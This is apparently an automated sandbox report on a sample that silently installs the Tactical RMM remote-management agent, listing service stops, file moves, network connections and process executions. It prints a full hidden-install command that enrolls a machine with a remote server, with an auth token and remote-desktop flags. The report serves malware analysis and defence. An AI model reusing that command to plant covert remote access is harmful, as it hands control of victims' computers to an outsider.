Technical Information
Malicious functions
Executes the following
- '%WINDIR%\syswow64\net.exe' stop tacticalagent
- '%WINDIR%\syswow64\net.exe' stop checkrunner
- '%WINDIR%\syswow64\net.exe' stop tacticalrpc
- '%WINDIR%\syswow64\taskkill.exe' /F /IM tacticalrmm.exe
Modifies file system
Creates the following files
- %WINDIR%\temp\winagent-v1.1.11.exe
- %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
- %TEMP%\setup log 2021-06-15 #001.txt
- %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
- %ProgramFiles%\tacticalagent\is-50akn.tmp
- %ProgramFiles%\tacticalagent\is-lrgk3.tmp
- %ProgramFiles%\tacticalagent\is-e7gb5.tmp
- %ProgramFiles%\tacticalagent\is-sq01m.tmp
- %ALLUSERSPROFILE%\microsoft\windows\start menu\programs\tactical rmm agent.lnk
- %ProgramFiles%\tacticalagent\unins000.dat
Deletes the following files
- %TEMP%\is-4dn93.tmp\_isetup\_setup64.tmp
- %TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp
Moves the following files
- from %ProgramFiles%\tacticalagent\is-50akn.tmp to %ProgramFiles%\tacticalagent\unins000.exe
- from %ProgramFiles%\tacticalagent\is-lrgk3.tmp to %ProgramFiles%\tacticalagent\tacticalrmm.exe
- from %ProgramFiles%\tacticalagent\is-e7gb5.tmp to %ProgramFiles%\tacticalagent\nssm.exe
- from %ProgramFiles%\tacticalagent\is-sq01m.tmp to %ProgramFiles%\tacticalagent\saltcustom
Network activity
Connects to
- 'gi##ub.com':443
- 'gi#########ases.githubusercontent.com':443
- 'ap#.##pcrepairs.xyz':4222
- 'ap#.##pcrepairs.xyz':443
TCP
Other
- 'gi##ub.com':443
- 'gi#########ases.githubusercontent.com':443
- 'ap#.##pcrepairs.xyz':443
UDP
- DNS ASK gi##ub.com
- DNS ASK gi#########ases.githubusercontent.com
- DNS ASK ap#.##pcrepairs.xyz
Miscellaneous
Searches for the following windows
- ClassName: '' WindowName: ''
Creates and executes the following
- '%WINDIR%\temp\winagent-v1.1.11.exe' /VERYSILENT /SUPPRESSMSGBOXES
- '%TEMP%\is-kehl9.tmp\winagent-v1.1.11.tmp' /SL5="$160218,4400191,824832,%WINDIR%\Temp\winagent-v1.1.11.exe" /VERYSILENT /SUPPRESSMSGBOXES
- '%ProgramFiles%\tacticalagent\tacticalrmm.exe' -m install --api https://api.ylpcrepairs.xyz --client-id 3 --site-id 3 --agent-type workstation --auth 89787bf6d44bb9b4ff1a1fc121513498449be25fc1787978cf60869eac69780f -rdp -power
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc' (with hidden window)
Executes the following
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalagent
- '%WINDIR%\syswow64\net1.exe' stop tacticalagent
- '%WINDIR%\syswow64\cmd.exe' /c net stop checkrunner
- '%WINDIR%\syswow64\net1.exe' stop checkrunner
- '%WINDIR%\syswow64\cmd.exe' /c net stop tacticalrpc && ping 127.0.0.1 -n 2
- '%WINDIR%\syswow64\net1.exe' stop tacticalrpc
- '%WINDIR%\syswow64\cmd.exe' /c taskkill /F /IM tacticalrmm.exe && ping 127.0.0.1 -n 2
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalagent && ping 127.0.0.1 -n 3
- '%WINDIR%\syswow64\net.exe' start tacticalagent
- '%WINDIR%\syswow64\net1.exe' start tacticalagent
- '%WINDIR%\syswow64\cmd.exe' /c net start checkrunner
- '%WINDIR%\syswow64\net.exe' start checkrunner
- '%WINDIR%\syswow64\net1.exe' start checkrunner
- '%WINDIR%\syswow64\cmd.exe' /c net start tacticalrpc
- '%WINDIR%\syswow64\net.exe' start tacticalrpc
- '%WINDIR%\syswow64\net1.exe' start tacticalrpc
